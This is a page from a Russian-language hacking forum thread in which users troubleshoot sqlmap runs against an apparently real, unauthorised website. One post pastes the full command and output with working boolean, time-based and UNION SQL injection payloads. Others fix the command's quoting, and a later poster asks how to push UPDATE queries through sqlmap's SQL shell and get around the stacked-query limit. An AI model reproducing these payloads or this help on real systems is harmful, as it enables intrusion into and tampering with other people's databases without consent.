ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #381  
Старый 17.04.2017, 01:14
Shubka75
Познающий
Регистрация: 24.09.2015
Сообщений: 35
С нами: 5598326

Репутация: 30
По умолчанию

Цитата:
Сообщение от brown  

(select convert(int,CHAR(65))) - это какой темпер?
по синтаксису это еррор-басед в mssql, но на деле скорее всего фолс от акунетикса
 
Ответить с цитированием

  #382  
Старый 26.04.2017, 02:32
Groove
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами: 8155766

Репутация: 2
По умолчанию

Что я делаю не так ???

Код:
D:\>python\python.exe D:\py\sqlmap\sqlmap.py -u http://site.ru/jewell
ery.php?subcategory=8&parent_ID=8&sub=&open=339 --dbs
        ___
       __H__
___ ___[)]_____ ___ ___  {1.1.4.48#dev}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 02:20:02

[02:20:02] [INFO] resuming back-end DBMS 'mysql'
[02:20:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: subcategory (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: subcategory=8 AND 7118=7118

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: subcategory=8 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: subcategory=8 UNION ALL SELECT CONCAT(0x7162627171,0x7665706c754e46
41694f424f67757945514458435369775648614c62644a56574b536753446d634f,0x7178716271)
,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Dnsi
---
[02:20:08] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.29
back-end DBMS: MySQL >= 5.0.12
[02:20:08] [INFO] fetched data logged to text files under 'C:\Users\user\.sqlmap\
output\site.ru'
[*] shutting down at 02:20:08
И почему у меня после выполнения команды вылазиет такое сообщение ?

Код:
"parent_ID" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
"sub" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
"open" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

D:\>
 
Ответить с цитированием

  #383  
Старый 26.04.2017, 11:28
l0mt1k
Новичок
Регистрация: 31.03.2017
Сообщений: 10
С нами: 4800566

Репутация: 0
По умолчанию

Код:
"parent_ID" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
"sub" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
"open" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

D:\>
Это рофл чтоли? Потому что вы пытаетесь выполнить эти параметры, что вы там пишете в командной строке?
 
Ответить с цитированием

  #384  
Старый 26.04.2017, 11:43
Groove
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами: 8155766

Репутация: 2
По умолчанию

Цитата:
Сообщение от l0mt1k  

Код:
"parent_ID" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
"sub" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
"open" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

D:\>
Это рофл чтоли? Потому что вы пытаетесь выполнить эти параметры, что вы там пишете в командной строке?
Код:
--dbs
 
Ответить с цитированием

  #385  
Старый 26.04.2017, 12:48
l0mt1k
Новичок
Регистрация: 31.03.2017
Сообщений: 10
С нами: 4800566

Репутация: 0
По умолчанию

Цитата:
Сообщение от Groove  

Код:
--dbs
Именно sqlmap не может выдавать такие ошибки, это ошибки ос..

Скиньте таргет в лс, мне даже интересно.
 
Ответить с цитированием

  #386  
Старый 26.04.2017, 17:32
Shubka75
Познающий
Регистрация: 24.09.2015
Сообщений: 35
С нами: 5598326

Репутация: 30
По умолчанию

Цитата:
Сообщение от Groove  

И почему у меня после выполнения команды вылазиет такое сообщение ?
в двойные кавычки урл засуньте, и ошибок никаких не будет
 
Ответить с цитированием

  #387  
Старый 26.04.2017, 18:57
Groove
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами: 8155766

Репутация: 2
По умолчанию

Разобрался , всем спасибо!
 
Ответить с цитированием

  #388  
Старый 07.05.2017, 21:22
spize0r
Познающий
Регистрация: 02.04.2016
Сообщений: 40
С нами: 5323286

Репутация: 4
По умолчанию

Что означает эта ошибка при выполнении команды "update" через --sql-shell:

[WARNING] execution of custom SQL queries is only available when stacked queries are supported

? и можно ли найти пути обхода ?
 
Ответить с цитированием

  #389  
Старый 07.05.2017, 22:15
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию

Это говорит о том, что инъекция в SELECT запросе, где не возможно выполнить UPDATE.

Условия при которых возможно использование Stacked Queries

 
Ответить с цитированием

  #390  
Старый 07.05.2017, 22:32
spize0r
Познающий
Регистрация: 02.04.2016
Сообщений: 40
С нами: 5323286

Репутация: 4
По умолчанию

Не понял, cms на php. На одном сайте проходит update, на другом нет. Как я понял завист от настройки на сервере? Но вопрос : может ли чтото измениться, если поиграться с параметрами, или это уже все?
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.